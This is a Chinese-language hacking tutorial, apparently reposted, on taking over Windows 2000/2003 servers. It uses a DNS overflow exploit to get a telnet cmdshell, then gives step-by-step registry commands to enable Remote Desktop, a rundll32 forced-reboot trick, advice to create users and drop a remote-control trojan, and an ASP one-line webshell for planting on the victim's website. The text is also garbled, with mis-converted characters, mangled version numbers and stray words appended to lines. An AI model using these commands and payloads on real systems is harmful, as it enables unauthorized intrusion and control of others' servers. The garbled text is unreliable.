一、Win七、Win200三、XP系統shell
在CMD命令行開啓3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /fapi
在CMD命令行關閉3389端口(將00000000改爲11111111便可):服務器
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /ftcp
二、2000系統 工具
簡要說一下如何進行DNS溢出攻擊。我用的溢出利用程序是dns.exe,在CMD下運行它能夠看到它的使用參數等信息。執行"dns -s IP"命令檢測目標IP是否存在DNS溢出漏洞,若存在則進行溢出攻擊,執行"dns -t 2000all IP 1207"後提示要咱們檢測返回的1100端口的shell。"telnet IP 1100"成功獲得返回的cmdshell。注意目錄爲c:/WINNT/system32,接着咱們須要作的是使用"echo"命令寫入一個3389.reg註冊表文件。將以下代碼一行一行地複製到cmdshell窗口後按回 車執行:網站
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg
echo "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows NT/CurrentVersion/Winlogon] >>3389.reg
echo "ShutdownWithoutLogon"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] >>3389.reg
echo "Start"=dword:00000002 >>3389.reg
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg
echo "Hotkey"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg操作系統
簡單說明一下,">"符號是覆蓋寫入文件,如無此文件則建立,有則覆蓋原來的內容寫入。">>"是追加寫入,即在原有文件內容的基礎上在 後面寫入內容。這裏是寫入內容到3389.reg文件中!須要注意的是第二行,那個做用是寫入一行空格,由於.reg文件的格式 必須如此!成功寫入完畢後接着執行導入操做,執行"regedit /s 3389.reg"。這樣註冊表文件就已經順利導入到註冊表裏去了。不過須要注意的是在cmdshell下不要輸錯任何一個字符,不然將沒法執行,建議先 本身打好在記事本上,確保無誤以後再複製到cmdshell窗口執行。而後能夠用下面這個方法重啓目標主機。在cmdshell下執行以下代碼:命令行
@ECHO OFF & cd/d %temp% & echo [version] > {out}.inf
(set inf=InstallHinfSection DefaultInstall)
echo signature=$chicago$ >> {out}.inf
echo [defaultinstall] >> {out}.inf
rundll32 setupapi,%inf% 1 %temp%/{out}.inf r3d
按順序將以上五行代碼一行一行地複製到cmdshell上,複製完一行按一次回車執行,五行都執行完畢後,服務器就會重啓的了。固然讓服務器重啓的方法比較多,好比結束掉系統關鍵進程、代碼模擬按鍵等都是能夠的,如無心外,等待服 務器完成重啓以後再鏈接目標發現遠程桌面服務已經成功開啓了。至此Windows 2000操做系統溢出後返回的cmdshell下開啓遠程桌面服務就成功完成了。dns
三、2003系統
相對於2000的系 統來講,2003cmdshell下開啓遠程桌面服務就比較容易一些了,起碼無需重啓嘛!第一種方法也是用"echo"命令寫入一個 3389.reg文件,再"regedit /s 3389.reg"導入註冊表文件便可開啓,比較簡單,與上面介紹的2000的開啓方法相似。將以下代碼一行一行地複製到cmdshell窗口後按回車執 行:
echo Windows Registry Editor Version 5.00 >3389.reg
echo. >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000d3d >>3389.reg
完成以上操做後再執行"regedit /s 3389.reg"導入便可生效!不過這個方法相對來講比較麻煩。咱們還能夠用另一種比較簡單的方法來開啓遠程桌面服務的。在介紹另外一個操做方法以前,咱們先來熟悉下2003系統下遠程桌面服務的一個最關鍵的註冊表鍵值。
在"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"
下數值名稱爲"fDenyTSConnections"的這一項,能夠看到它的數值數據爲1或0。數值爲1的時候關閉遠程桌面服務,數值爲0的時候開啓遠程 桌面服務。換句話說,咱們只要能夠在cmdshell下更改這個關鍵的註冊表鍵值數據就能夠達到實現開啓遠程桌面服務的目的了!有幸的是,在2003下有 一個"reg"命令徹底能夠作到這一點。這裏咱們找一臺操做系統爲2003的服務器,經過和上面介紹的一樣方法溢出後返回一個cmdshell。當咱們嘗試鏈接的時候會發現根本沒法鏈接上去。下面詳細說明一下用"reg"命令開啓遠程桌面服務。執行:
reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"
咱們發現"fDenyTSConnections"鍵值數據爲"0x1"。這個是十六進制數的1。上面提到,數據爲1則沒有開啓遠程桌面服務。咱們要作的就是把"0x1"改爲"0x0"!直接用"reg add"是不行的,必須把原來鍵值刪掉再添加!在cmdshell下執行:
reg delete "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections
會詢問是否"要刪除註冊表值 fDenyTSConnections 嗎",固然Yes了。再執行:
reg add "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
提示操做成功完成。這樣就把"fDenyTSConnections"的值改成"0x0"了,咱們能夠執行:
reg query "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server"
發現已經成功更改了數據。如今再來鏈接服務器的3389看看,發現已經能夠成功鏈接上了,建立個用戶玩玩。至此2003下cmdshell開啓遠程桌面服務的方法也介紹完了。
溢出後也不必定要非要在cmdshell下開啓遠程桌面服務。能夠echo一個vbs文件,下載遠程控制木馬,而後在cmdshell裏運行一下木馬便可鏈接。還有就是查詢目標IP是否綁定有網站,若是有則找到網站目錄,再用echo個一句話木馬進去(例如:echo "<%execute request("cmd")%>" > WEB路徑/test.asp),用中國年菜刀鏈接,而後上傳大馬,上傳開3389的工具再開啓也行。